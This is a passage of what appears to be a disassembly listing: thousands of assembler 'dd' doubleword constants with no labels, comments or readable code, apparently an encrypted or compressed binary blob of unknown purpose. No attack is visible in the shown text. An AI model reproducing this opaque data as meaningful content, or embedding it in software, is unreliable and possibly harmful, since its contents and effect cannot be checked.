0CB585421h, 3BD44575h, 41CA9EF8h, 7B35C468h dd 0FE9600A6h, 0E64946CEh, 0A65E90Bh, 36598F7h, 11432568h dd 0BA071898h, 79375FA4h, 4EC4F546h, 1FCBB07h, 3C313932h dd 67E9B047h, 8E59BF02h, 755D5BC2h, 0B9877751h, 4E151B54h dd 0F66941FFh, 7D6E8E2Fh, 0D6E9077Dh, 0E3A9A45Ch, 0AE6FC282h dd 29AFD2D8h, 2DCA6102h, 38B133Ch, 2CE922A4h, 0A5FA8D73h dd 515B6EF2h, 278901CCh, 0A2FF58C1h, 0E648BA7Bh, 0FE2925F6h dd 124B14FDh, 0DD8F5DE9h, 0CAB77F07h, 63AC144Ah, 725FA800h dd 0ACF38165h, 0CCA10DD6h, 2EF7296Ah, 2B3129AFh, 5204688Bh dd 0E5E4E8E9h, 984D0128h, 25BB0045h, 63F01659h, 0FB7A0157h dd 272DB30h, 98967775h, 0A2792220h, 5A587729h, 0FC5B739Eh dd 41E52DCCh, 95DAC2E8h, 4ABBA020h, 0A000BA05h, 2F142D5Dh dd 0BC174AD2h, 57074036h, 43386812h, 2102CCBEh, 121B0480h dd 0E058C628h, 876403D4h, 88AAC86Bh, 0C4089FCh, 0B4744EE3h dd 594BCBC0h, 8A2CB444h, 0F6D58112h, 6AAC60D9h, 7FF10BFAh dd 0A9F8BD39h, 3A679D63h, 4CBCC2Fh, 68C8BF0Fh, 88E3EF81h dd 0E821E2Ah, 8058E728h, 0CE641D6Fh, 2ABC89Bh, 764EEE94h dd 0DF5800C2h, 3A22E0CCh, 0EABF0B5Ch, 5FD05D42h, 0A2BD1813h dd 0C20AB4BEh, 0D97E7117h, 103616FBh, 0C06B08ADh, 76C138F5h dd 3348BDD7h, 59BD4337h, 74C9CFBCh, 0FF252074h, 7E91269Eh dd 0B237908h, 6209D731h, 98A9F05Dh, 7510FCACh, 847597BBh dd 81F14973h, 58C2E67Eh, 0B652820Ah, 6F8457F6h, 0FF96B18Ah dd 3E9868D8h, 5A704706h, 5E0D99B8h, 8F12BC31h, 9DF757F2h dd 7DF6EE25h, 9B5F6B2h, 0B273AFF4h, 0A6D1D4EFh, 418628BCh dd 7EB30EAh, 161F63EEh, 0F07BF589h, 0FB75FAFBh, 261AA5A6h dd 14A6F747h, 5E099910h, 0F42215Bh, 0E298E5F5h, 0AD002AD2h dd 0C976C968h, 0A05E7B53h, 9F2F142Dh, 7615325Dh, 0CFDD8B4Ah dd 0B8811650h, 0BECD7067h, 135008E9h, 4EDDC8E9h, 92242E23h dd 27F4EA0Bh, 0C616200Fh, 0E6A5B727h, 3FD60B6Dh, 4A776654h dd 0BF4C5D6Ah, 4E7B732Eh, 44231D82h, 0F7F86826h, 2CEBCD1h dd 0F95CA6C9h, 97FE5257h, 0E9DB0175h, 0B88ED918h, 0BEFDC588h dd 0CB82E2DBh, 27AA4502h, 15682730h, 94723C4Eh, 9CA584Eh dd 0EC2CEE0Ch, 461CC1F7h, 0FC5AC129h, 3F49E47Ch, 5A170053h dd 27153602h, 36CBD5E9h, 0DFEE72B7h, 0D59555F2h, 0CC72928Bh dd 403C3804h, 0FF522948h, 0F52DD64h, 5B2E4EACh, 26FC270Dh dd 13BAF25Ah, 0E4FED0C1h, 2D813D93h, 7185F86Ah, 258F7CB5h dd 0F5271259h, 45A8E21h, 6EA22B12h, 390453CBh, 0B3831D3Ah dd 0D1D820D2h, 2901A1F7h, 841579C1h, 6858A093h, 80188FB2h dd 206F5E2h, 0E6DA5AF6h, 6B210F3h, 550B5525h, 107360D8h dd 5A59CEC2h, 3FCC875Bh, 45D6C287h, 0C97FFBE9h, 19BBBF3Ch dd 57D16930h, 0D2C89CDCh, 264A012Ah, 7B65EE3Fh, 38047BC3h dd 0A6CA2820h, 4B3B190Bh, 36EC697h, 8EF3B854h, 0C33193A0h dd 892875A4h, 0C840B5DEh, 6799758h, 0B8A20316h, 0D685080h dd 154C797Fh, 171E3E14h, 46422602h, 572216E9h, 1626D37Bh dd 0F980FEA5h, 59387A0Ch, 0C3E16259h, 8DF3090h, 2650D6E6h dd 84E082BFh, 8007C8B3h, 0D3F6C0C3h, 7A1452A6h, 0E2EB254Dh dd 3A89A7D6h, 7EB37F1Fh, 577820D2h, 60C7292Fh, 7D9F49C2h dd 19822D7Eh, 0B13EF06Eh, 15B493B0h, 3CE09BBAh, 0C5E430E9h dd 0F502B15h, 272A0569h, 30FF338Eh, 0DB3558CCh, 2F776B16h dd 0A14C44FFh, 0CBAF17E1h, 4CF589Fh, 6F6A180Fh, 0C403F2BFh dd 0EC84C801h, 0CAE91303h, 0D11A1D06h, 0FB3ECBE0h, 97BEFF5Ch dd 4154D69Dh, 1227470Ah, 451261E9h, 2FFD7BD4h, 0A220B84Eh dd 56F97D59h, 10B95162h, 3C0BED81h, 7761A075h, 17089328h dd 0C525E259h, 0A7EAB9BFh, 0D8280042h, 3AB05052h, 0A8F54F68h dd 84B6CB9Fh, 0DDD5395Eh, 5C5E672Ch, 0A381AF59h, 825BBA42h dd 8496B90Ch, 80E15DE0h, 0BEDF542Ah, 0D2C94AACh, 0B6851B48h dd 5BD0F782h, 1DF58014h, 0BE055EDBh, 47CD51A3h, 17FEFE1h dd 0C68859F6h, 0BF07F58h, 21D84A31h, 2A6C680Bh, 0CA6FE5D2h dd 0DF7A897Ah, 0D7279515h, 0DC9584E4h, 0CD5292EBh, 0AD0DA7FAh dd 2520593Eh, 0A8B94A45h, 52818C2Fh, 7F1177C2h, 0CDA82775h dd 0FD885171h, 4762FC7h, 262768C1h, 1A32C258h, 6AFC680h dd 79DBC177h, 72781531h, 5DAB1F5Bh, 491CE6DDh, 0F5414E8Fh dd 691EF22Dh, 0B60D81A7h, 83A8EFBh, 510201CBh, 5FF7E2E9h dd 24FEFA27h, 9700B2F1h, 0CEB21EA8h, 7DC5B2DFh, 0E042EF74h dd 0B8757B90h, 309E995Bh, 0EC955A15h, 557520D4h, 2E31BF04h dd 0FAF21BEh, 2C456EAh, 0EBF6FFD6h, 0DC14AF5Ah, 0CB120D89h dd 0C52ED02Eh, 0C28BEABEh, 497564Fh, 0EA7377h, 0A96FF4BAh dd 0BA12F452h, 8D42BD30h, 0E8891441h, 76C06156h, 5A213AF4h dd 1179000Dh, 703538FCh, 1B34AB29h, 0A8EE8A31h, 755CE2F7h dd 39F04C93h, 0F7974C48h, 8F643DA1h, 0B40C2002h, 2FB8BAD6h dd 78E41710h, 697E3048h, 0C0E7621Dh, 250B5B28h, 47F237F2h dd 1B56ED60h, 9F5DEB09h, 0DD00E58Bh, 0C084042Ah, 69B0214Eh dd 93395ED1h, 69E3CFD9h, 55BA4FABh, 557E89DDh, 0FE551A3Ah dd 0B9D5C18h, 2F6771E8h, 8B124E76h, 0A6F1360Ah, 22FA0820h dd 0C7A32397h, 0F198C989h, 0EFD0167Ah, 8A5C8C80h, 166F7F44h dd 0BF2C8BE8h, 7699C48Bh, 0BBE25571h, 611756C0h, 0B1358DAh dd 59F00B4Eh, 0B425F3C5h, 2AFB9FC4h, 2B65C2Dh, 3B471F2Fh dd 0F858C248h, 708521BCh, 0A61EC624h, 9FEF8017h, 0F65C2704h dd 0B1FAC4CCh, 48F92081h, 0C3EBEE2h, 1EA01B41h, 3C700B4Fh dd 13D06033h, 0A508C151h, 830AD51Ch, 67583858h, 582831C1h dd 0F7FA6059h, 0EFF7D1BDh, 66031008h, 0CAE1285Bh, 1F6A5FF9h dd 425AFC1h, 0A2BBD3D5h, 68E98213h, 0B53DF9Ah, 95520A7h dd 135A1C57h, 0A30B5368h, 56C91264h, 0BE4E5FE3h, 97D48785h dd 6497E8EBh, 0F8D1B5FEh, 943852E1h, 4108701Ch, 0EED359BAh dd 0B60F2A30h, 0E904BFC1h, 8CBB6B1Ch, 0C5413798h, 2262B17Eh dd 0B68B5F63h, 248BB410h, 47963356h, 0EBA40EE8h, 2D401382h dd 6DB83026h, 51020827h, 5F1AB123h, 6C7C314Fh, 0C5B80E0Bh dd 2078EB0Bh, 261A353Eh, 2D580715h, 49F147F5h, 9B0E707Ch dd 13E494E0h, 4FF82959h, 5EF3B2B7h, 958201F6h, 5445094Ch dd 0E568892Fh, 39933171h, 0B27F96A1h, 5B25D918h, 402DAE2Bh dd 0A210F97Bh, 5D0BF55Bh, 803796D5h, 2F9BAB0h, 0E965C019h dd 12FDBBF6h, 0B3665DC8h, 0BD1276DEh, 0C23B3AC0h, 68841B0Fh dd 61A24C03h, 442C326Bh, 0F78CAC08h, 40CDDB8Bh, 0EE2C8073h dd 0C51C9D2Eh, 0B151E604h, 2546ABC1h, 2FF3BA03h, 861983DDh dd 385E09ECh, 9AB8A187h, 96CC9DC8h, 7028E897h, 7B46820Eh dd 8A4F20F4h, 54274DF7h, 0DECBEDFEh, 0C3410E97h, 0FA59C417h dd 0B0577D4h, 5EC95CE9h, 5029051h, 57C1306Ah, 6C4B9968h dd 0CC2EDACh, 1AA2FF9Eh, 29F5FAF1h, 0CCD05DB4h, 6BAF6814h dd 74BBD6EAh, 1E8BE29h, 104BAD4Dh, 0DC25C83Fh, 46D35443h dd 6969B9B9h, 13671028h, 34B5D2Ch, 45D94B12h, 69580BE2h dd 0AFAC474Eh, 2488C374h, 0EE73C255h, 273F970Bh, 7062DF13h dd 0F1750809h, 12FBE7Ah, 0E3172E5Fh, 94C96D53h, 14377DC0h dd 20E7B099h, 5F090DEDh dd 1B5BD468h, 5960144h, 0B974BA7Ah, 0FF0BA509h, 90C817E1h dd 4D4C08AAh, 2E864175h, 0B55207EEh, 0A10FB4ABh, 0B3372065h dd 0BC37901h, 4F47DFF7h, 7441FF3Bh, 0EC24B282h, 0ED35902Ah dd 4A2F3E19h, 13851BAEh, 80CCE90Dh, 3248BF64h, 12194B3Dh dd 8FE27FC2h, 533484h, 2D38F181h, 0F807765Ch, 4A611FA8h dd 69C9013Dh, 2076FD27h, 0BEB92281h, 0BD64664Fh, 0E35F4A6Eh dd 0DD50CB39h, 15687048h, 4A3B6963h, 0BD517642h, 8A892276h dd 1B38DF71h, 5E95055Ch, 33F12767h, 99AC662h, 0BF09505Fh dd 7E27FFD6h, 136D6276h, 0B0DE8902h, 135A5683h, 0BDAF75Eh dd 0F50206EBh, 2D00B1BEh, 16551723h, 10F00125h, 0E90B08C3h dd 771AB8D8h, 54C558DCh, 0D6732782h, 0D61C4F13h, 0D84EF490h dd 8E5B43F0h, 0C2A4CAE9h, 7974F98Bh, 1354912Ch, 0F94688E9h dd 0A1512A4h, 34C899EBh, 10985341h, 8291D02h, 7EB2E922h dd 0B9CA8197h, 0D8773073h, 351286E2h, 0A50164D8h, 0D768E717h dd 3C62E43Bh, 0E1D25B9Fh, 34EB7FE9h, 0D03515Fh, 0EE295323h dd 857E025Dh, 4030086Fh, 738EBA7Fh, 0E05C1720h, 0C22F68CAh dd 4E871842h, 4043916Ah, 620DBB53h, 5E16B627h, 732D0181h dd 0E0767952h, 7A205E8h, 415DA88h, 0D2CDF7E9h, 476954C4h dd 0FE152F3Ch, 0FD668B60h, 0AF581990h, 0C2BE32D3h, 0DF228D78h dd 24BB0037h, 0F77AD0DEh, 0A804774Bh, 7CA3EA29h, 0AE1068h dd 1FB51763h, 0C9580B5Dh, 0F2901346h, 26569DEBh, 5C0C50F1h dd 8839A692h, 0AFCF3CF1h, 0E5FA098Eh, 7E2D3FE5h, 5F214560h dd 0A30B1C50h, 775F09B5h, 0E8861534h, 0BDCED420h, 86DD0C8h dd 3CE82F54h, 352C2800h, 5A64FC05h, 5DFEC3Ah, 0E96F1AD1h dd 0BD48D41Fh, 0C25D2ED7h, 0C61FD326h, 0AB054AE0h, 32A42A87h dd 48FD67E1h, 6DB27D80h, 5355310Bh, 33524501h, 6C642E32h dd 444180C7h, 5350E656h, 4E1F0D49h, 6A4C9C54h, 5001850Ah dd 0F295D1E9h, 9A550A75h, 9FE0615h, 5605FDE7h, 610A1DD5h dd 429BA23Eh, 9DAD11CBh, 3E08C121h, 84B7909Eh, 0AD489F2Ah dd 0A3229344h, 0E3EE7C23h, 78D6F04Ah, 0E4E45Ah, 0D1624866h dd 0EC795F7Fh, 0D45B20C1h, 8CC42AB7h, 3C1600A6h, 2127BC9Eh dd 0E0F9F81h, 0C0D3A03Eh, 0B34DFD59h, 53C60316h, 0D8D2B9EFh dd 22F0EEA0h, 8062F63Bh, 0C9BDA410h, 0E5CDEAh, 2A6BFA56h dd 0E3C263A2h, 0D3168E00h, 45BC51B2h, 0C33400D5h, 0A4094B6h dd 1200DA3Bh, 0ECCBBBA6h, 0B58479h, 187D36A1h, 90F6EB49h dd 2E143300h, 64A5B49Eh, 582D005Ch, 0D1308E8Ch, 50036F4Ch dd 8A77C11Dh, 0B00B9324h, 1BAE94h, 1EAF9131h, 12333B2Eh dd 449A0302h, 7C4BA8A5h, 0C4033D5Ch, 0BC0E3492h, 90BA0900h dd 91BF1032h, 0C20F3031h, 0BD2E0118h, 0C6E4701Ch, 0E0FE5480h dd 1CE365FAh, 4CDDC3h, 47B699A2h, 96A04ECBh, 0E1007D94h dd 9B1A6CBDh, 302469ABh, 0C6E6AA10h, 1300DD77h, 0B2115854h dd 724A2B1Dh, 0E865006Dh, 31B82087h, 4700C60Eh, 16890CF7h dd 862568h, 99390FA4h, 0CF6124B7h, 23B83Eh, 0C594F514h dd 0A0415F44h, 3889B6h, 35192849h, 7FB5A8A4h, 8001F301h dd 0CB302DBCh, 9201336Ch, 8EB41244h, 3A09803Ch, 3F90B210h dd 8FB11811h, 0AE811842h, 64F03D0Eh, 7ED44046h, 0E57A60h dd 0CC5D4363h, 36192280h, 4F4BC714h, 0FD140880h, 8D1D0061h dd 0C2A3ADFEh, 8012733Ah, 0A21997F3h, 492846h, 0EC0456Ah dd 0B4836C58h, 51C54100h, 0F8E109Eh, 766006Eh, 0FDDA72C3h dd 0D0C87D5h, 22527ED8h, 0A7C60047h, 2A20B496h, 9B00FA1Bh dd 5DED9251h, 4F0C0ECh, 58A3417Bh, 0FEDA934Ch, 0C2E09416h dd 4E1C261Dh, 0C949B800h, 74109DB4h, 3A980005h, 0A6A2351Dh dd 0C700221Eh, 1B3F20BFh, 123B85CDh, 0C27FCCh, 0AA9EC6Bh dd 0B5009328h, 0BF123815h, 0F25DBC8Dh, 5AEE0541h, 4014CE0Bh dd 7CC9F1B7h, 6F00EB1Ah, 380A8A40h, 602CB4D5h, 535197B2h dd 5B00780Eh, 0D968E877h, 2330B8h, 0BF891E04h, 0A547D635h dd 15787CC0h, 4293B5h, 756CAC0Ah, 3150FA4Eh, 1C63920Fh dd 7910201Eh, 90B714h, 9EA13A6Fh, 6ADE717Ah, 1DBADB39h dd 49C0C411h, 0E1FEDFFFh, 1B3200ACh, 9AFB0475h, 0A800A638h dd 5E707899h, 0EE7FC9h, 7EF359ECh, 79EDB564h, 3DE8D06h dd 26E205A3h, 80282CBAh, 0B69C3A14h, 8A122822h, 5C1217A8h dd 96503827h, 726CE875h, 76DC004Eh, 6BDD7258h, 0D44C654Bh dd 12913F5Ch, 2842C31Fh, 9029158Ch, 0B0507293h, 8203007Fh dd 0C1C5183Ah, 0F000B520h, 0A5C41B0Eh, 63EF94h, 391E41E6h dd 0DFF5B317h, 8AFB8D04h, 1F82B410h, 0DDBE81D9h, 1082B688h dd 1704D56Fh, 0EDAC1940h, 9200B5B6h, 7BBADDC2h, 9FFB1A6Ah dd 0C8832C45h, 74C95A7Eh, 75D7F46Ch, 0A1C8E400h, 0FE97C6E5h dd 3FD3A0C4h, 71ED1420h, 3A28F8BEh, 0C01C71BCh, 2CBDE2B2h dd 2700D484h, 401DA706h, 0BB88CDh, 0BCE1107Bh, 0B4FD5CADh dd 775Ch, 5D1B41BAh, 90509BE6h, 83CB0048h, 1D948DB2h, 6E3F577Ch dd 5C9BC87h, 478A83Ah, 0FBE39144h, 1F48EF0h, 0AD27CCEh dd 0C8E5C250h, 0B5483793h, 0ECE6707Eh, 3B0F7260h, 907DFF14h dd 9CDC00ECh, 0F6DDF3FDh, 34028CD5h, 1914477h, 17614060h dd 49C51438h, 12098EA2h, 0E780E9F3h, 168F92F8h, 273B56EAh dd 0A8B00ABh, 71FE4EDFh, 0E1A4482Ch, 11A82500h, 82C33584h dd 3F0DA00Fh, 0B298E02Eh, 362A3h, 22647DB9h, 3E0A9D85h dd 0E6EE2F03h, 0E7F4D6F9h, 0CC7B5F63h, 12A315C0h, 0EA2B1D3Ah dd 0C08E9FE2h, 438736A2h, 0F005EF6h, 62419DD0h, 580A2A9Eh dd 9818598Bh, 8607133Eh, 5856E728h, 0DF166161h, 37600151h dd 0EB400082h, 0EC8D0C5Dh, 915CD8E4h, 0AF87007Eh, 0E3829848h dd 58DCF4C4h, 550050C7h, 0F6EDA6Dh, 37488AB0h, 1ED660D9h dd 0BFC1D2Ch, 0B434AEDFh, 0D0FD5D07h, 0A1ABFE50h, 4E9CAC16h dd 0FAB15801h, 0DAF3DFh, 5C7ADC6Ah, 0BE4763Bh, 20D2664Ch dd 4969E7F2h, 20DA6E67h, 18A5C6C2h, 262CEAC8h, 0DA28801h dd 24B59B3Bh, 0FCC1CA20h, 51F3246Fh, 65BC00B0h, 0C8BEA3F9h dd 99CCEB09h, 6E04203Dh, 0F0138CFDh, 4CEF0CAh, 71D96B4Fh dd 0E3888067h, 78B088F4h, 0C842B30Eh, 910AE0E1h, 603EAF0Ch dd 68AD11E4h, 8EA00360h, 14C3E235h, 9A3FF6Eh, 1A296C21h dd 153D3A80h, 280086C2h, 0CA9BAD02h, 14A58Dh, 0B9EB038h dd 41202A7Eh, 7BC60C16h, 60076901h, 91506265h, 7E76FFBh dd 0FD51E1C7h, 626987DDh, 1960DFC1h, 310380A2h, 9F908323h dd 5575D86Eh, 6DE50173h, 70D86B4Dh, 6FDDC852h, 5D824F07h dd 919AAE28h, 40227704h, 0FB41D8h, 539DFC4Dh, 0CD9CB001h dd 0AF4CC602h, 80B763B6h, 21F24A9Eh, 5CBE0B14h, 0E2D0C489h dd 15BDAD48h, 1FB11670h, 40AC1E4Fh, 0A0088D8Bh, 0DF6DC08Ah dd 6651008Eh, 4B4986C3h, 45008F4Dh, 3996F0F9h, 98F111C4h dd 54A0333h, 78E71831h, 0A38609C5h, 4311A500h, 0B900DF79h dd 0DDA9C0D9h, 0B288DCFEh, 58AE81C5h, 0EA28C8F6h, 0C54800ABh dd 0B277B65Fh, 0AF01144Dh, 0FD1C2D1Dh, 5C718AD9h, 25588400h dd 64210910h, 77800968h, 5C601E3Bh, 0F881042Ch, 1170C107h dd 0E06F5321h, 3BF968D8h, 0C300A6BBh, 50F7DF92h, 35585862h dd 2B210ADEh, 459FF38Bh, 0CBC57D80h, 5A488524h, 0E77A0076h dd 0F5DBFB5Bh dd 0C9E9651Eh, 0D581551Dh, 0CEEC64F3h, 0F75DC8h, 224BE4D7h dd 0BFE1C193h, 4CFE7154h, 2EDEFC39h, 0F601D969h, 542AA4D9h dd 9EF3EC40h, 6B8C4h, 2E6FFE4Ch, 374F9AA6h, 8A00D591h dd 8FCC1436h, 2E52245Eh, 647F1F78h, 2ABC00A1h, 0ECF41524h dd 0F355EA02h, 6B5AEDD3h, 0EF62C84Ah, 2EB570BBh, 1912D480h dd 0D050D30Dh, 0E0E57654h, 0F8E46E4Ch, 4E745201h, 4D7353FDh dd 472000C3h, 1E3683E8h, 4A059AC0h, 3388AA08h, 0FC9FFF98h dd 53D1304Dh, 0DB879AD2h, 7C806FB9h, 9D822165h, 73D2168Dh dd 16DB0BFCh, 6D881403h, 50B5D01Fh, 4DFD4F40h, 58745683h dd 271C7E1h, 1C516E14h, 0D6415ACCh, 94DD881h, 0C998BC05h dd 91801F11h, 17CBAE5h, 7778872h, 0C447955Fh, 450D6220h dd 3C8DBE10h, 3C02047h, 1C85D7B2h, 54E1C5h, 0A0B1D031h dd 0B500082Ah, 0C0113797h, 195BD8Ch, 4E0653CAh, 208EDBFFh dd 2F0B6141h, 208DAB9Ah, 86CA19F0h, 0C91C0B3Eh, 0C9002483h dd 665DA036h, 6D6B7505h, 16C0FA4Bh, 2E272BFh, 0AC1DAB53h dd 254163F6h, 0EF4A20ECh, 8B077600h, 540A87E5h, 6B8A1A31h dd 1E64CA39h, 8018C73Fh, 9F2EE455h, 3B3416B5h, 7E00AEA4h dd 0F3426876h, 0EE01D061h, 8A5EEF59h, 76817308h, 0D3B8491Ch dd 3486ED44h, 0FC3E5050h, 1304836Dh, 0C8C2A2D9h, 260CBBh dd 2234BC96h, 3B1DBD8Fh, 82DCAA00h, 0C5FD8AD1h, 2D95020Bh dd 0C2425E45h, 40C0CCC2h, 0E80779DBh, 0F6674877h, 521453B0h dd 98200065h, 9425DD6Eh, 380F1AB8h, 25F8E1A5h, 3801908h dd 2C9391A0h, 99754Eh, 0B5A3B13h, 0BD04EAC4h, 1201D022h dd 87FE0D82h, 0E0209EC3h, 8AC0ADh, 5E695805h, 0BF5A7DA6h dd 7213820Eh, 0B60D2054h, 0ED46623h, 0CBAAEB7Ah, 26B71B83h dd 97F61788h, 921A385Ch, 0A04C9F0Bh, 0CC689A1Ah, 0E15103EBh dd 0CBE86CF9h, 0E8BA40D1h, 84040945h, 0DF7254E5h, 4770D8C0h dd 1B5A00F9h, 0C7EB97DBh, 0F4DD979h, 0FCC324D2h, 0E1006D92h dd 1AC91335h, 289A76EBh, 7F75CD2h, 5BF144EEh, 802A257Ch dd 0E90ECD31h, 9F1A7418h, 4CA2E30Ch, 6A006195h, 4294F548h dd 0DC003D0Ch, 19AAACBDh, 0C322637h, 5FBB2A0Dh, 223C2837h dd 0E44C8Dh, 6E540378h, 25E071DBh, 0CA8017A1h, 0B795280Ah dd 5EABA62Ch, 7B0702B8h, 0A471BDE1h, 35E1DC74h, 0F5E04C30h dd 262DFD7h, 4F7033h, 20307FC3h, 0AF9B2D11h, 22844A99h dd 0B2FE4F68h, 77532F98h, 2C742EBCh, 98C59795h, 0DB682C14h dd 2C300971h, 8FE4345Bh, 89DA270Ch, 4E7194DDh, 68D18C54h dd 20AABA4Bh, 8428F6Dh, 2FFB22D3h, 32BD4B68h, 0DF20E981h dd 4A7FECFDh, 977B3Bh, 0B89874E1h, 3A15A1C5h, 62C80306h dd 6700193Fh, 0AAAE4A2Ch, 223DF575h, 5AA28058h, 9847663Ah dd 1B0B007Ah, 0D918B8B5h, 443C7E73h, 3709803Fh, 208CEB7Dh dd 0ED5700C7h, 71C4EA65h, 0A2061526h, 11E83EFAh, 0CBEC38ADh dd 7DF52700h, 25FBEA75h, 71A5F900h, 0C5078B78h, 5E0300B7h dd 8137C080h, 5D62E4C6h, 0FF68FC3Ah, 13E992A3h, 0ECC45107h dd 5D80B0F3h, 0D2587h, 0EFACF9DAh, 414662B2h, 5A3AA900h dd 0FFCABF0Fh, 0C1811C36h, 70F0846Ch, 37F8EF5Fh, 0A5881400h dd 0D0B9662Ah, 0EF007F7Ah, 40F1E712h, 0B506840Fh, 0B46F1810h dd 2409D930h, 7E00827h, 2ACD801Bh, 60CBA057h, 509D79Bh dd 0F8FC068Fh, 0C8F4F5CDh, 0A4FE5873h, 0D2B70F05h, 59F2AF61h dd 1885327Ah, 94C0660Dh, 2460E913h, 0A035113h, 0ECB3006Fh dd 1D293DF0h, 9E3ED0FCh, 0A630E185h, 1C2BE9C4h, 8183809Eh dd 7AA451E5h, 8FBAF00h, 0EB26878h, 322C0FF5h, 0EF80C725h dd 383F7622h, 37B0D0F1h, 1B0420F9h, 32089D63h, 70ACC08Fh dd 0B1761955h, 0D09C213Ah, 686015ADh, 9A63B211h, 2DB7283Bh dd 72770C1Ch, 0A511491Bh, 411860E2h, 0D1816FAAh, 0E78185Ch dd 6AE7117Bh, 0EC34671Ch, 896ECA0h, 2F506B72h, 814C494Ch dd 0B3E71379h, 5020A533h, 226FE9B5h, 0BF014815h, 45570CAAh dd 36FCB72Bh, 7CFD1B49h, 42D7E0C8h, 8480687Ah, 0B7F32A86h dd 10790630h, 0CFFCF72h, 0AE012516h, 0BE1C3C38h, 0E2812F66h dd 327A3503h, 67146088h, 0BBFD1E3Fh, 102DBC0Ch, 0C1D76050h dd 0DB8BA17Fh, 9793A300h, 8E8988CCh, 9B783BD5h, 0A59A0778h dd 5E6F678Ah, 7B97CA81h, 0A284E073h, 0A00ED6ECh, 80D09D77h dd 91CF6832h, 0B6900395h, 0BE258681h, 0D071D0BFh, 9300978Fh dd 8A8891DAh, 149B9FD9h, 382CD594h, 0E39EABA1h, 18948ECFh dd 8C7B0A8h, 9586C899h, 0AA7100B0h, 9D7BDB8Eh, 9E0AB725h dd 8DB088A1h, 9BD97500h, 78BC7495h, 0DF6A3B80h, 0B56EA685h dd 8168032Ch, 86C3BB7Ah, 0DC8A39F6h, 0E18043Eh, 0F01031FEh dd 0C9D215B1h, 30AC87Ch, 1CF847D1h, 0B01BAB9h, 0CF753842h dd 31C252Dh, 191ED1FCh, 0E80A808Fh, 681208C5h, 0ECB23800h dd 0A3AD661h, 0DA317C6Dh, 0C266032Ch, 0AE464277h, 88D1770Ch dd 56FFC60Ch, 0AEF50D30h, 9059CCECh, 0F487C1A0h, 82414CB1h dd 0A0688D24h, 0ADE40B3h, 0F4299C19h, 8F828578h, 8B58086Bh dd 3B73E477h, 0F91D9EF2h, 0A8B00E4Eh, 520B9A24h, 42C6D38h dd 0CC9072B3h, 619FC9F2h, 0E8B52845h, 0D035CDB3h, 0CA3E9EAh dd 37EB34E8h, 0B709E492h, 808792CFh, 7D2AA8B8h, 282874BBh dd 9A0CEFB0h, 0BD3D4450h, 4CD4C213h, 0EFEAB000h, 0E86AAE86h dd 0CE250B5h, 0B63B1367h, 0B0144530h, 0AF580B04h, 2FF03F82h dd 0C311649Dh, 0A8D2A13h, 0A08C07F0h, 41CE42BCh, 9A10D2B8h dd 1890B226h, 19D8FD24h, 4CF33696h, 0E0A17CF8h, 0FE5464D1h dd 9047D020h, 8CC14548h, 0C14F7140h, 7D4A29EFh, 463E918Ch dd 0E893A0E4h, 0B7B526C7h, 0C8984C7Ch, 2190DD84h, 6833940Ch dd 0BA3111ACh, 30297313h, 0B79A88BFh, 84AC62E0h, 0C4249E64h dd 40942698h, 0E049AC2Ah, 3B57E912h, 28380C32h, 0A3D45180h dd 0F90A0C99h, 8D058C63h, 48A85F5h, 4CB96BA1h, 0E0D67588h dd 21F47810h, 1D240EB2h, 6A4062D1h, 0E9604B84h, 28234852h dd 80857322h, 30990F1Ah, 0A15E340Ch, 7F21C88Ch, 0B4F80C23h dd 1DA84A85h, 3191A18Ch, 0CD8D8042h, 0F20C1899h, 56AC985Dh dd 8FF6A89Ch, 0BE0DF351h, 0F2A0C9B1h, 72241634h, 761114ECh dd 0D2B22E08h, 1B4374ACh, 50615772h, 6544CC8h, 0B63C2730h dd 0EC535134h, 89816FA8h, 0F9B49115h, 3057D84Dh, 555836C9h dd 2C264CB7h, 7C8D3FA8h, 0F8FC5E46h, 3E48AA18h, 994B910h dd 0DA4BA039h, 34307803h, 576744E4h, 1322DC14h, 30B22D3Bh dd 8D841836h, 6360F24Ch, 2CFB70B5h, 0A09C48E4h, 18DA459Ch dd 3711673Ch, 51E4E626h, 9BC73CE8h, 79BDF43Ch, 3C73D854h dd 0EC6D8106h, 3DF8101Eh, 8E4B5200h, 85889581h, 713C6E7Dh dd 5AC31F32h, 83B07807h, 2CAB85DFh, 79801407h, 0E1776FC2h dd 8BE4EC24h, 0AD0E09E8h, 44B8C076h, 0B49835DCh, 8058E822h dd 4BA75C6h, 76DDF2B7h, 0AF70B430h, 0C2807AEAh, 66D540E4h dd 7D488EE0h, 51B31178h, 7C7E9905h, 0D3203C85h, 0F20FD246h dd 26104BE1h, 7640101Ah, 82873Ah, 3603C9A2h, 601F5F95h dd 1CF7220Fh, 0B7C5A0E8h, 0C07BA2EFh, 0B827B0D0h, 0EC12EBFCh dd 5800440Dh, 3EA6986Fh, 49817AB1h, 63015C6Ch, 0CDE1C09Bh dd 7675DCB7h, 0F0B15290h, 70F2F601h, 0C1D32956h, 91B82A1Ah dd 0FA6D160Eh, 8C86B960h dd 5004ABAEh, 8565B036h, 14C7A887h, 52498Ch, 0BB872A7Fh dd 0B3308B79h, 4E086966h, 77740021h, 0CDC69A2Ah, 5C023E90h dd 0E909A9B1h, 9F2C405Fh, 0D8358136h, 828243E4h, 0AF5FDFD8h dd 7E011194h, 80261222h, 0A03329h, 0D4DC30BFh, 14E93B52h dd 0B42649A2h, 5414310h, 0FD667F8Bh, 47235C2Eh, 0E367E04h dd 0D404C8h, 4398183Eh, 7ECD587h, 8B8C2E00h, 0E482FBF2h dd 710A0326h, 5630F07Ch, 289E24F1h, 608587Ch, 5419EC4Eh dd 0A9940110h, 41FE2944h, 1D0C62B2h, 7F22B876h, 358B00B3h dd 0B5956213h, 974892CFh, 6A8F0500h, 8C20BD3Bh, 0D8F9F4B0h dd 85962869h, 195F6788h, 1078B2EFh, 6900D30Eh, 724A3C5h dd 0D579BDh, 5E584985h, 7B50C71Bh, 2FD15F14h, 0AEF9C0BCh dd 6A6A4D9h, 0BEEF35ADh, 7F00509Bh, 0DF9464CFh, 35417E16h dd 0F616AB3h, 0E840FA38h, 0C95D5660h, 34A1E600h, 0C2C02726h dd 8CD7484Ah, 1BADCD0Fh, 417D821Dh, 20836BAEh, 0F0B0B3EBh dd 0EC905648h, 0F7C4ED14h, 39007AE4h, 65725492h, 49EEB176h dd 0DA096827h, 20005D80h, 85A9DEBFh, 73C17009h, 1B04072Fh dd 9BD14Ch, 0C6DC6CA7h, 810C5B29h, 828E2805h, 6088E834h dd 7584017Ch, 7F633BB9h, 0F00444BFh, 0E91AF06Ch, 8058489Bh dd 83C9902Ch, 9A10C740h, 852BD738h, 0A2C4A40Eh, 0CF9E4300h dd 